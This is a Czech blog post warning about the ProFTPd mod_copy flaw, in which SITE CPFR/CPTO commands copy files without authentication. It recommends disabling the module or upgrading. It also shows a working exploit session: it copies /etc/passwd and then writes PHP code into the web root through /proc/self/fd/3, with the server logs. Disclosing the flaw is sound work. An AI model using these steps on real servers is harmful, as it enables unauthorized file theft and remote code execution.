Zranitelnost ProFTPd CPFR/CPTO

Zranitelnost ProFTPd CPFR/CPTO

Že je protokol FTP nutné zlo, které snad jen trochu mírníme pomocí berliček jako TLS nad FTP o tom snad asi není potřeba mluvit. Rád bych ale upozornil na skutečně velkou zranitelnost proftpd, která vede k napadení systému na skutečně vysoké úrovni.

Celý problém je dostatečně popsán a zdokumentován například zde a zde, ale balíky pro ubuntu v tuto chvíli stále obsahují zranitelnou verzi proftpd.

Pomocí příkazů SITE CPFR/SITE CPTO z modulu mod_copy lze kopírovat libovolné soubory v rámci filesystému BEZ ověření uživatele. Řešením je zmíněný modul vypnout, nebo použít opravenou verzi proftpd.

Příklad napadení:

Trying xx.xx.xx.xx...
Connected to xx.xx.xx.xx.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:xx.xx.xx.xx]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR  pathname
214-CPTO  pathname
214-UTIME  YYYYMMDDhhmm[ss]  path
214-SYMLINK  source  destination
214-RMDIR  path
214-MKDIR  path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful

Takže v tuto chvíli máme v /tmp/ kopii /etc/passwd
Pokud by toto bylo někomu málo, horší je to, že lze takto manipulovat i dále a hůře se soubory, které součástí filesystému nejsou.

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

/var/www/test.php bude existovat a bude obsahovat toto (ukázka převzata)

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

PHP interpret se moc nebude zajímat o omáčku kolem a z daného souboru (uloženého v kořeni www serveru) vyhodnotí jen výraz

 <?php phpinfo(); ?>

Jistě chápete, co by se s tím vším dalo dělat …

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *